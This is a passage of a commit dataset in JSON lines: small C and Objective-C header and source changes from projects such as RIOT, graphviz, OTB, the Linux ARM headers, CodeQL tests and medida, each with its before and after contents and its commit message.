mium-1,chuan9\/chromium-crosswalk,dednal\/chromium.src,axinging\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Pluto-tv\/chromium-crosswalk,ltilve\/chromium,markYoungH\/chromium.src,Fireblend\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,dednal\/chromium.src,Jonekee\/chromium.src,jaruba\/chromium.src,dednal\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,patrickm\/chromium.src,anirudhSK\/chromium,hgl888\/chromium-crosswalk,markYoungH\/chromium.src,hgl888\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,Fireblend\/chromium-crosswalk,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,fujunwei\/chromium-crosswalk,Just-D\/chromium-1,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,M4sse\/chromium.src,dushu1203\/chromium.src,Jonekee\/chromium.src,M4sse\/chromium.src,fujunwei\/chromium-crosswalk,dushu1203\/chromium.src,littlstar\/chromium.src,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,PeterWangIntel\/chromium-crosswalk,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Pluto-tv\/chromium-crosswalk,ltilve\/chromium,ondra-novak\/chromium.src,ltilve\/chromium,Jonekee\/chromium.src,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk,dednal\/chromium.src,axinging\/chromium-crosswalk,dednal\/chromium.src,hgl888\/chromium-crosswalk-efl,Just-D\/chromium-1,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,dushu1203\/chromium.src,littlstar\/chromium.src,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,M4sse\/chromium.src,bright-sparks\/chromium-spacewalk,Chilledheart\/chromium,Chilledheart\/chromium,ondra-novak\/chromium.src,markYoungH\/chromium.src,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,chuan9\/chromium-crosswalk,ondra-novak\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,dushu1203\/chromium.src,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,littlstar\/chromium.src,anirudhSK\/chromium,littlstar\/chromium.src,jaruba\/chromium.src,ltilve\/chromium,M4sse\/chromium.src,Pluto-tv\/chromium-crosswalk,dushu1203\/chromium.src,hgl888\/chromium-crosswalk,Just-D\/chromium-1,Just-D\/chromium-1,hgl888\/chromium-crosswalk,dednal\/chromium.src,TheTypoMaster\/chromium-crosswalk,dushu1203\/chromium.src,ltilve\/chromium,Chilledheart\/chromium,markYoungH\/chromium.src,jaruba\/chromium.src,anirudhSK\/chromium,Chilledheart\/chromium,chuan9\/chromium-crosswalk,ondra-novak\/chromium.src,hgl888\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,jaruba\/chromium.src,fujunwei\/chromium-crosswalk,jaruba\/chromium.src,ondra-novak\/chromium.src,Jonekee\/chromium.src,jaruba\/chromium.src,Jonekee\/chromium.src,TheTypoMaster\/chromium-crosswalk,anirudhSK\/chromium,dushu1203\/chromium.src,Pluto-tv\/chromium-crosswalk,ChromiumWebApps\/chromium,bright-sparks\/chromium-spacewalk,axinging\/chromium-crosswalk,Jonekee\/chromium.src,anirudhSK\/chromium,Jonekee\/chromium.src,mohamed--abdel-maksoud\/chromium.src,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,bright-sparks\/chromium-spacewalk,Chilledheart\/chromium,TheTypoMaster\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,ltilve\/chromium,anirudhSK\/chromium,Just-D\/chromium-1,patrickm\/chromium.src,axinging\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,patrickm\/chromium.src,PeterWangIntel\/chromium-crosswalk,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,littlstar\/chromium.src,Pluto-tv\/chromium-crosswalk,Jonekee\/chromium.src,jaruba\/chromium.src,dednal\/chromium.src,ondra-novak\/chromium.src,axinging\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,Just-D\/chromium-1,Just-D\/chromium-1,ondra-novak\/chromium.src,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,ChromiumWebApps\/chromium,TheTypoMaster\/chromium-crosswalk"}
{"commit":"af7220c2bebbcc2f1c49ec190d26724a0c4aed25","old_file":"drivers\/sds011\/sds011_saul.c","new_file":"drivers\/sds011\/sds011_saul.c","old_contents":"\/*\n * Copyright (C) 2018 HAW-Hamburg\n *\n * This file is subject to the terms and conditions of the GNU Lesser\n * General Public License v2.1. See the file LICENSE in the top level\n * directory for more details.\n *\n *\/\n\n\/**\n * @ingroup     drivers_sds011\n * @{\n *\n * @file\n * @brief       SAUL adaption for SDS011 sensor\n *\n * @author      Michel Rottleuthner <michel.rottleuthner@haw-hamburg.de>\n *\n * @}\n *\/\n\n#include <string.h>\n\n#include \"saul.h\"\n#include \"sds011.h\"\n#include \"xtimer.h\"\n\nstatic int _read(const void *dev, phydat_t *res)\n{\n    sds011_data_t data;\n\n    if (sds011_read((sds011_t *)dev, &data) == SDS011_OK) {\n       res->val[0] = data.pm_2_5;\n       res->val[1] = data.pm_10;\n       res->unit = UNIT_GPM3;\n       res->scale = -7;\n       return 2;\n    }\n    return ECANCELED;\n}\n\nconst saul_driver_t sds011_saul_driver = {\n    .read = _read,\n    .write = saul_notsup,\n    .type = SAUL_SENSE_PM\n};\n","new_contents":"\/*\n * Copyright (C) 2018 HAW-Hamburg\n *\n * This file is subject to the terms and conditions of the GNU Lesser\n * General Public License v2.1. See the file LICENSE in the top level\n * directory for more details.\n *\n *\/\n\n\/**\n * @ingroup     drivers_sds011\n * @{\n *\n * @file\n * @brief       SAUL adaption for SDS011 sensor\n *\n * @author      Michel Rottleuthner <michel.rottleuthner@haw-hamburg.de>\n *\n * @}\n *\/\n\n#include <string.h>\n\n#include \"saul.h\"\n#include \"sds011.h\"\n#include \"xtimer.h\"\n\nstatic int _read(const void *dev, phydat_t *res)\n{\n    sds011_data_t data;\n\n    if (sds011_read((sds011_t *)dev, &data) == SDS011_OK) {\n       res->val[0] = data.pm_2_5;\n       res->val[1] = data.pm_10;\n       res->unit = UNIT_GPM3;\n       res->scale = -7;\n       return 2;\n    }\n    return -ECANCELED;\n}\n\nconst saul_driver_t sds011_saul_driver = {\n    .read = _read,\n    .write = saul_notsup,\n    .type = SAUL_SENSE_PM\n};\n","subject":"Fix SAUL read error return","message":"drivers\/sds011: Fix SAUL read error return\n","lang":"C","license":"lgpl-2.1","repos":"RIOT-OS\/RIOT,cladmi\/RIOT,OlegHahm\/RIOT,authmillenon\/RIOT,authmillenon\/RIOT,rfuentess\/RIOT,josephnoir\/RIOT,yogo1212\/RIOT,smlng\/RIOT,josephnoir\/RIOT,mfrey\/RIOT,cladmi\/RIOT,x3ro\/RIOT,A-Paul\/RIOT,mtausig\/RIOT,BytesGalore\/RIOT,smlng\/RIOT,toonst\/RIOT,mfrey\/RIOT,RIOT-OS\/RIOT,OlegHahm\/RIOT,yogo1212\/RIOT,kaspar030\/RIOT,ant9000\/RIOT,rfuentess\/RIOT,aeneby\/RIOT,OlegHahm\/RIOT,toonst\/RIOT,x3ro\/RIOT,yogo1212\/RIOT,kYc0o\/RIOT,A-Paul\/RIOT,ant9000\/RIOT,mtausig\/RIOT,toonst\/RIOT,BytesGalore\/RIOT,authmillenon\/RIOT,A-Paul\/RIOT,kaspar030\/RIOT,mfrey\/RIOT,cladmi\/RIOT,mtausig\/RIOT,josephnoir\/RIOT,josephnoir\/RIOT,miri64\/RIOT,kYc0o\/RIOT,smlng\/RIOT,BytesGalore\/RIOT,ant9000\/RIOT,miri64\/RIOT,lazytech-org\/RIOT,kYc0o\/RIOT,cladmi\/RIOT,kYc0o\/RIOT,rfuentess\/RIOT,jasonatran\/RIOT,rfuentess\/RIOT,OlegHahm\/RIOT,basilfx\/RIOT,authmillenon\/RIOT,cladmi\/RIOT,jasonatran\/RIOT,lazytech-org\/RIOT,toonst\/RIOT,lazytech-org\/RIOT,OTAkeys\/RIOT,RIOT-OS\/RIOT,yogo1212\/RIOT,jasonatran\/RIOT,aeneby\/RIOT,ant9000\/RIOT,kaspar030\/RIOT,basilfx\/RIOT,authmillenon\/RIOT,mtausig\/RIOT,A-Paul\/RIOT,x3ro\/RIOT,josephnoir\/RIOT,OTAkeys\/RIOT,x3ro\/RIOT,kaspar030\/RIOT,mfrey\/RIOT,toonst\/RIOT,basilfx\/RIOT,lazytech-org\/RIOT,yogo1212\/RIOT,aeneby\/RIOT,OTAkeys\/RIOT,aeneby\/RIOT,miri64\/RIOT,RIOT-OS\/RIOT,jasonatran\/RIOT,basilfx\/RIOT,jasonatran\/RIOT,RIOT-OS\/RIOT,authmillenon\/RIOT,kYc0o\/RIOT,OTAkeys\/RIOT,A-Paul\/RIOT,OlegHahm\/RIOT,OTAkeys\/RIOT,x3ro\/RIOT,rfuentess\/RIOT,smlng\/RIOT,miri64\/RIOT,yogo1212\/RIOT,mtausig\/RIOT,smlng\/RIOT,basilfx\/RIOT,BytesGalore\/RIOT,miri64\/RIOT,aeneby\/RIOT,kaspar030\/RIOT,mfrey\/RIOT,BytesGalore\/RIOT,lazytech-org\/RIOT,ant9000\/RIOT"}
{"commit":"07bf91bd54bf71c4431072091b725f7b2efcea4c","old_file":"mcp2515_dfs.h","new_file":"mcp2515_dfs.h","old_contents":"#ifndef MCP2515_LIB_DEFINITIONS_H_\n#define MCP2515_LIB_DEFINITIONS_H_\n\n\/*******************************************************************************\n  SPI Commands\n*******************************************************************************\/\n#define SPI_READ  0x03\n\n\/*******************************************************************************\n  Register Addresses - specific info about each register can be found in the\n  datasheet.\n*******************************************************************************\/\n#define CANINTF   0x2C\n\n\/*******************************************************************************\n  Interrupt Flag Bit Masks - each bit mask aligns with a position in the CANINTF\n  register. Specific info about each flag can be found in the datasheet.\n*******************************************************************************\/\n#define MERRF     0x80\n#define WAKIF     0x40\n#define ERRIF     0x20\n#define TX2IF     0x10\n#define TX1IF     0x08\n#define TX0IF     0x04\n#define RX1IF     0x02\n#define RX0IF     0x01\n\n\/*******************************************************************************\n  Flag Test Macro - determines whether the specified flag is set.\n    - flags:    a value read from the CANINTF register\n    - bit_mask: one of the Interrupt Flag Bit Masks\n*******************************************************************************\/\n#define IS_FLAG_SET(flags, bit_mask) (flags & bit_mask)\n\n#endif\n","new_contents":"#ifndef MCP2515_LIB_DEFINITIONS_H_\n#define MCP2515_LIB_DEFINITIONS_H_\n\n\/*******************************************************************************\n  SPI Commands\n*******************************************************************************\/\n#define SPI_READ        0x03\n#define SPI_BIT_MODIFY  0x05\n\n\/*******************************************************************************\n  Register Addresses - specific info about each register can be found in the\n  datasheet.\n*******************************************************************************\/\n#define CANINTF   0x2C\n\n\/*******************************************************************************\n  Interrupt Flag Bit Masks - each bit mask aligns with a position in the CANINTF\n  register. Specific info about each flag can be found in the datasheet.\n*******************************************************************************\/\n#define MERRF     0x80\n#define WAKIF     0x40\n#define ERRIF     0x20\n#define TX2IF     0x10\n#define TX1IF     0x08\n#define TX0IF     0x04\n#define RX1IF     0x02\n#define RX0IF     0x01\n\n\/*******************************************************************************\n  Flag Test Macro - determines whether the specified flag is set.\n    - flags:    a value read from the CANINTF register\n    - bit_mask: one of the Interrupt Flag Bit Masks\n*******************************************************************************\/\n#define IS_FLAG_SET(flags, bit_mask) (flags & bit_mask)\n\n#endif\n","subject":"Add SPI bit modify command definition","message":"Add SPI bit modify command definition\n","lang":"C","license":"apache-2.0","repos":"jnod\/mcp2515_lib,jnod\/mcp2515_lib"}
{"commit":"67189e4682c9f0a3b7aeffdea5d05cd39ec5f5c5","old_file":"cmd\/gvedit\/csettings.h","new_file":"cmd\/gvedit\/csettings.h","old_contents":"\n#ifndef CSETTINGS_H\n#define CSETTINGS_H\n\nclass MdiChild;\n#include <QDialog>\n#include <QString>\n#include \"ui_settings.h\"\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#include \"gvc.h\"\n#include \"gvio.h\"\n\n\nclass CFrmSettings : public QDialog\n{\n        Q_OBJECT\npublic:\n    CFrmSettings();\n    int runSettings(MdiChild* m);\n    int showSettings(MdiChild* m);\n    int cur;\n    int drawGraph();\n    MdiChild* getActiveWindow();\n    QString graphData;\nprivate slots:\n    void outputSlot();\n    void addSlot();\n    void helpSlot();\n    void cancelSlot();\n    void okSlot();\n    void newSlot();\n    void openSlot();\n    void saveSlot();\nprivate:\n    \/\/Actions\n    Agraph_t* graph;\n    MdiChild* activeWindow;\n    GVC_t* gvc;    \n    QAction* outputAct;\n    QAction* addAct;\n    QAction* helpAct;\n    QAction* cancelAct;\n    QAction* okAct;\n    QAction* newAct;\n    QAction* openAct;\n    QAction* saveAct;\n    \/\/METHODS\n    QString buildOutputFile(QString _fileName);\n    void addAttribute(QString _scope,QString _name,QString _value);\n    bool loadLayouts();\n    bool loadRenderers();\n    void refreshContent();\n    void saveContent();\n    void setActiveWindow(MdiChild* m);\n    bool loadGraph(MdiChild* m);\n    bool createLayout();\n    bool renderLayout();\n\n\n};\n\n#endif\n","new_contents":"\n#ifndef CSETTINGS_H\n#define CSETTINGS_H\n\nclass MdiChild;\n#include <QDialog>\n#include <QString>\n#include \"ui_settings.h\"\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#include \"gvc.h\"\n\/* #include \"gvio.h\" *\/\n\n\nclass CFrmSettings : public QDialog\n{\n        Q_OBJECT\npublic:\n    CFrmSettings();\n    int runSettings(MdiChild* m);\n    int showSettings(MdiChild* m);\n    int cur;\n    int drawGraph();\n    MdiChild* getActiveWindow();\n    QString graphData;\nprivate slots:\n    void outputSlot();\n    void addSlot();\n    void helpSlot();\n    void cancelSlot();\n    void okSlot();\n    void newSlot();\n    void openSlot();\n    void saveSlot();\nprivate:\n    \/\/Actions\n    Agraph_t* graph;\n    MdiChild* activeWindow;\n    GVC_t* gvc;    \n    QAction* outputAct;\n    QAction* addAct;\n    QAction* helpAct;\n    QAction* cancelAct;\n    QAction* okAct;\n    QAction* newAct;\n    QAction* openAct;\n    QAction* saveAct;\n    \/\/METHODS\n    QString buildOutputFile(QString _fileName);\n    void addAttribute(QString _scope,QString _name,QString _value);\n    bool loadLayouts();\n    bool loadRenderers();\n    void refreshContent();\n    void saveContent();\n    void setActiveWindow(MdiChild* m);\n    bool loadGraph(MdiChild* m);\n    bool createLayout();\n    bool renderLayout();\n\n\n};\n\n#endif\n","subject":"Comment out unnecessary use of gvio.h","message":"Comment out unnecessary use of gvio.h\n","lang":"C","license":"epl-1.0","repos":"jho1965us\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,ellson\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,tkelman\/graphviz,kbrock\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,ellson\/graphviz,pixelglow\/graphviz,ellson\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,ellson\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,kbrock\/graphviz,tkelman\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,ellson\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,kbrock\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz"}
{"commit":"48aef9784ec1f68281c03d735bfcca0b60262752","old_file":"Modules\/ThirdParty\/OssimPlugins\/src\/ossim\/ossimTraceHelpers.h","new_file":"Modules\/ThirdParty\/OssimPlugins\/src\/ossim\/ossimTraceHelpers.h","old_contents":"","new_contents":"\/\/----------------------------------------------------------------------------\n\/\/\n\/\/ \"Copyright Centre National d'Etudes Spatiales\"\n\/\/\n\/\/ License:  LGPL-2\n\/\/\n\/\/ See LICENSE.txt file in the top level directory for more details.\n\/\/\n\/\/----------------------------------------------------------------------------\n\/\/ $Id$\n\n\n#ifndef ossimTraceHelpers_h\n#define ossimTraceHelpers_h\n\n#include <ossim\/base\/ossimTrace.h>\n#include <ossim\/base\/ossimNotify.h>\n\nnamespace ossimplugins {\n   \/** Helper class to log automatically entering and leaving scopes.\n    * @warning Not meant to be used directly. Use \\c SCOPED_LOG instead.\n    *\/\n   struct ScopedLogger\n   {\n      ScopedLogger(ossimTrace & channel, char const* module, ossimNotifyLevel level = ossimNotifyLevel_DEBUG)\n         : m_channel(channel)\n         , MODULE(module)\n         {\n            if (m_channel()) {\n               ossimNotify(ossimNotifyLevel_DEBUG) << MODULE << \" entered...\\n\";\n            }\n         }\n\n      ~ScopedLogger() {\n         if (m_channel()) {\n            ossimNotify(ossimNotifyLevel_DEBUG) << MODULE << \" left...\\n\";\n         }\n      }\n   private:\n      ScopedLogger(ScopedLogger const&);\n      ScopedLogger& operator=(ScopedLogger const&);\n\n      ossimTrace & m_channel;\n      char const* MODULE;\n   };\n\n\n#define SCOPED_LOG(channel, msg) \\\n   SCOPED_LOG_NAME(__LINE__)(channel, msg)\n\n#define SCOPED_LOG_NAME(x) \\\n   SCOPED_LOG_NAME0(x)\n\n#define SCOPED_LOG_NAME0(x) \\\n   ossimplugins::ScopedLogger slog ## x\n} \/\/ ossimplugins namespace\n\n\n#endif \/\/ ossimTraceHelpers_h\n","subject":"Add helper macro to log scope entry and exit","message":"ENH: Add helper macro to log scope entry and exit\n","lang":"C","license":"apache-2.0","repos":"orfeotoolbox\/OTB,orfeotoolbox\/OTB,orfeotoolbox\/OTB,orfeotoolbox\/OTB,orfeotoolbox\/OTB,orfeotoolbox\/OTB"}
{"commit":"861e37ad5969f764574722f4cfc0734511cbac7f","old_file":"include\/asm-arm\/mach\/flash.h","new_file":"include\/asm-arm\/mach\/flash.h","old_contents":"\/*\n *  linux\/include\/asm-arm\/mach\/flash.h\n *\n *  Copyright (C) 2003 Russell King, All Rights Reserved.\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 2 as\n * published by the Free Software Foundation.\n *\/\n#ifndef ASMARM_MACH_FLASH_H\n#define ASMARM_MACH_FLASH_H\n\nstruct mtd_partition;\n\n\/*\n * map_name:\tthe map probe function name\n * name:\tflash device name (eg, as used with mtdparts=)\n * width:\twidth of mapped device\n * init:\tmethod called at driver\/device initialisation\n * exit:\tmethod called at driver\/device removal\n * set_vpp:\tmethod called to enable or disable VPP\n * parts:\toptional array of mtd_partitions for static partitioning\n * nr_parts:\tnumber of mtd_partitions for static partitoning\n *\/\nstruct flash_platform_data {\n\tconst char\t*map_name;\n\tconst char\t*name;\n\tunsigned int\twidth;\n\tint\t\t(*init)(void);\n\tvoid\t\t(*exit)(void);\n\tvoid\t\t(*set_vpp)(int on);\n\tstruct mtd_partition *parts;\n\tunsigned int\tnr_parts;\n};\n\n#endif\n","new_contents":"\/*\n *  linux\/include\/asm-arm\/mach\/flash.h\n *\n *  Copyright (C) 2003 Russell King, All Rights Reserved.\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 2 as\n * published by the Free Software Foundation.\n *\/\n#ifndef ASMARM_MACH_FLASH_H\n#define ASMARM_MACH_FLASH_H\n\nstruct mtd_partition;\nstruct mtd_info;\n\n\/*\n * map_name:\tthe map probe function name\n * name:\tflash device name (eg, as used with mtdparts=)\n * width:\twidth of mapped device\n * init:\tmethod called at driver\/device initialisation\n * exit:\tmethod called at driver\/device removal\n * set_vpp:\tmethod called to enable or disable VPP\n * mmcontrol:\tmethod called to enable or disable Sync. Burst Read in OneNAND\n * parts:\toptional array of mtd_partitions for static partitioning\n * nr_parts:\tnumber of mtd_partitions for static partitoning\n *\/\nstruct flash_platform_data {\n\tconst char\t*map_name;\n\tconst char\t*name;\n\tunsigned int\twidth;\n\tint\t\t(*init)(void);\n\tvoid\t\t(*exit)(void);\n\tvoid\t\t(*set_vpp)(int on);\n\tvoid\t\t(*mmcontrol)(struct mtd_info *mtd, int sync_read);\n\tstruct mtd_partition *parts;\n\tunsigned int\tnr_parts;\n};\n\n#endif\n","subject":"Add memory control method to support OneNAND sync burst read","message":"[ARM] 3057\/1: Add memory control method to support OneNAND sync burst read\n\nPatch from Kyungmin Park\n\nThis patch is required for OneNAND MTD to passing the OneNAND sync. burst read\n\nSigned-off-by: Kyungmin Park\nSigned-off-by: Russell King <f6aa0246ff943bfa8602cdf60d40c481b38ed232@arm.linux.org.uk>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"6dcac4a16d43bc76b5e4492233cd170699f30875","old_file":"CollapsibleTable\/GWCollapsibleTable\/GWCollapsibleTable.h","new_file":"CollapsibleTable\/GWCollapsibleTable\/GWCollapsibleTable.h","old_contents":"\/\/\n\/\/  GWCollapsibleTable.h\n\/\/  CollapsibleTable\n\/\/\n\/\/  Created by Greg Wang on 13-1-3.\n\/\/  Copyright (c) 2013年 Greg Wang. All rights reserved.\n\/\/\n\n@protocol GWCollapsibleTableDataSource <NSObject>\n\n- (BOOL)tableView:(UITableView *)tableView canCollapseSection:(NSInteger)section;\n- (UITableViewCell *)tableView:(UITableView *)tableView headerCellForCollapsibleSection:(NSInteger)section;\n- (UITableViewCell *)tableView:(UITableView *)tableView bodyCellForRowAtIndexPath:(NSIndexPath *)indexPath;\n- (NSInteger)tableView:(UITableView *)tableView numberOfBodyRowsInSection:(NSInteger)section;\n\n\/\/ TODO: Support Editing & Reordering Methods\n\n@end\n\n@protocol GWCollapsibleTableDelegate <NSObject>\n\n- (void)tableView:(UITableView *)tableView didSelectBodyRowAtIndexPath:(NSIndexPath *)indexPath;\n\/\/ TODO: Support Extra Selection Management Methods\n\n\/\/ TODO: Support Editing & Reordering Methods\n\n@end\n","new_contents":"\/\/\n\/\/  GWCollapsibleTable.h\n\/\/  CollapsibleTable\n\/\/\n\/\/  Created by Greg Wang on 13-1-3.\n\/\/  Copyright (c) 2013年 Greg Wang. All rights reserved.\n\/\/\n\n#import \"NSObject+GWCollapsibleTable.h\"\n#import \"UITableView+GWCollapsibleTable.h\"\n\n@protocol GWCollapsibleTableDataSource <NSObject>\n\n- (BOOL)tableView:(UITableView *)tableView canCollapseSection:(NSInteger)section;\n- (UITableViewCell *)tableView:(UITableView *)tableView headerCellForCollapsibleSection:(NSInteger)section;\n- (UITableViewCell *)tableView:(UITableView *)tableView bodyCellForRowAtIndexPath:(NSIndexPath *)indexPath;\n- (NSInteger)tableView:(UITableView *)tableView numberOfBodyRowsInSection:(NSInteger)section;\n\n\/\/ TODO: Support Editing & Reordering Methods\n\n@end\n\n@protocol GWCollapsibleTableDelegate <NSObject>\n\n- (void)tableView:(UITableView *)tableView didSelectBodyRowAtIndexPath:(NSIndexPath *)indexPath;\n\n@optional\n- (void)tableView:(UITableView *)tableView willExpandSection:(NSInteger)section;\n- (void)tableView:(UITableView *)tableView willCollapseSection:(NSInteger)section;\n\n\/\/ TODO: Support Extra Selection Management Methods\n\n\/\/ TODO: Support Editing & Reordering Methods\n\n@end\n","subject":"Add necessary interfaces Add optional delegate methods","message":"Add necessary interfaces\nAdd optional delegate methods\n","lang":"C","license":"mit","repos":"yocaminobien\/GWCollapsibleTable,gregwym\/GWCollapsibleTable"}
{"commit":"e419ea01407d4fa1fcb4c422d0169edb59dafddb","old_file":"cpp\/ql\/test\/library-tests\/dataflow\/fields\/struct_init.c","new_file":"cpp\/ql\/test\/library-tests\/dataflow\/fields\/struct_init.c","old_contents":"","new_contents":"void sink(void *o);\nvoid *user_input(void);\n\nstruct AB {\n  void *a;\n  void *b;\n};\n\nstruct Outer {\n  struct AB nestedAB;\n  struct AB *pointerAB;\n};\n\nvoid absink(struct AB *ab) {\n  sink(ab->a); \/\/ flow x3 [NOT DETECTED]\n  sink(ab->b); \/\/ no flow\n}\n\nint struct_init(void) {\n  struct AB ab = { user_input(), 0 };\n\n  sink(ab.a); \/\/ flow [NOT DETECTED]\n  sink(ab.b); \/\/ no flow\n  absink(&ab);\n\n  struct Outer outer = {\n    { user_input(), 0 },\n    &ab,\n  };\n\n  sink(outer.nestedAB.a); \/\/ flow [NOT DETECTED]\n  sink(outer.nestedAB.b); \/\/ no flow\n  sink(outer.pointerAB->a); \/\/ flow [NOT DETECTED]\n  sink(outer.pointerAB->b); \/\/ no flow\n\n  absink(&outer.nestedAB);\n  absink(outer.pointerAB);\n}\n","subject":"Test showing no flow through aggregate init","message":"C++: Test showing no flow through aggregate init\n","lang":"C","license":"mit","repos":"github\/codeql,github\/codeql,github\/codeql,github\/codeql,github\/codeql,github\/codeql,github\/codeql,github\/codeql,github\/codeql,github\/codeql,github\/codeql,github\/codeql,github\/codeql,github\/codeql,github\/codeql"}
{"commit":"61768b0b8e04f3a2c8353db4c2e332b499a5c03a","old_file":"Test\/MathLib.h","new_file":"Test\/MathLib.h","old_contents":"#pragma once\n\/\/MathLib.h\n\n#ifndef _MATHLIB_\n#define _MATHLIB_\n\n\n\n#endif","new_contents":"#pragma once\n\/\/MathLib.h\n\n#ifndef _MATHLIB_\n#define _MATHLIB_\n\n\/\/Make some change to check if new branch is created.\n\n#endif","subject":"Make some change to check if new branch is created.","message":"Make some change to check if new branch is created.\n","lang":"C","license":"mit","repos":"mrlitong\/fpsgame,mrlitong\/fpsgame,mrlitong\/Game-Engine-Development-Usage,mrlitong\/fpsgame"}
{"commit":"7fb448ae7e6ad876b225f67d8ef064a0f93e0988","old_file":"src\/medida\/reporting\/abstract_polling_reporter.h","new_file":"src\/medida\/reporting\/abstract_polling_reporter.h","old_contents":"\/\/\n\/\/ Copyright (c) 2012 Daniel Lundin\n\/\/\n\n#ifndef MEDIDA_REPORTING_ABSTRACT_POLLING_REPORTER_H_\n#define MEDIDA_REPORTING_ABSTRACT_POLLING_REPORTER_H_\n\n#include <memory>\n\n#include \"medida\/types.h\"\n\nnamespace medida {\n    namespace reporting {\n        class AbstractPollingReporter {\n\n        public:\n            AbstractPollingReporter();\n\n            virtual ~AbstractPollingReporter();\n\n            virtual void Shutdown();\n\n            virtual void Start(Clock::duration period = std::chrono::seconds(5));\n\n            virtual void Run();\n\n        private:\n            class Impl;\n\n            std::unique_ptr<Impl> impl_;\n        };\n    }\n}\n\n#endif \/\/ MEDIDA_REPORTING_ABSTRACT_POLLING_REPORTER_H_\n","new_contents":"\/\/\n\/\/ Copyright (c) 2012 Daniel Lundin\n\/\/\n\n#ifndef MEDIDA_REPORTING_ABSTRACT_POLLING_REPORTER_H_\n#define MEDIDA_REPORTING_ABSTRACT_POLLING_REPORTER_H_\n\n#include <memory>\n\n#include \"medida\/types.h\"\n\nnamespace medida {\n    namespace reporting {\n        class AbstractPollingReporter {\n\n        public:\n            AbstractPollingReporter();\n\n            virtual ~AbstractPollingReporter();\n\n            virtual void Shutdown();\n\n            \/\/ start should never be called after calling shutdown on this class\n            \/\/    (behavior if start after shutdown is undefined).\n            virtual void Start(Clock::duration period = std::chrono::seconds(5));\n\n            virtual void Run();\n\n        private:\n            class Impl;\n\n            std::unique_ptr<Impl> impl_;\n        };\n    }\n}\n\n#endif \/\/ MEDIDA_REPORTING_ABSTRACT_POLLING_REPORTER_H_\n","subject":"Comment on abstract-polling-reporter to handle the shutdown followed by start racing to modify thread before it can be joined, it is not a valid usecase anyway, so handling it thru comment.","message":"Comment on abstract-polling-reporter to handle the shutdown followed by start racing to modify thread before it can be joined, it is not a valid usecase anyway, so handling it thru comment.\n","lang":"C","license":"apache-2.0","repos":"janmejay\/medida,janmejay\/medida,janmejay\/medida,janmejay\/medida"}
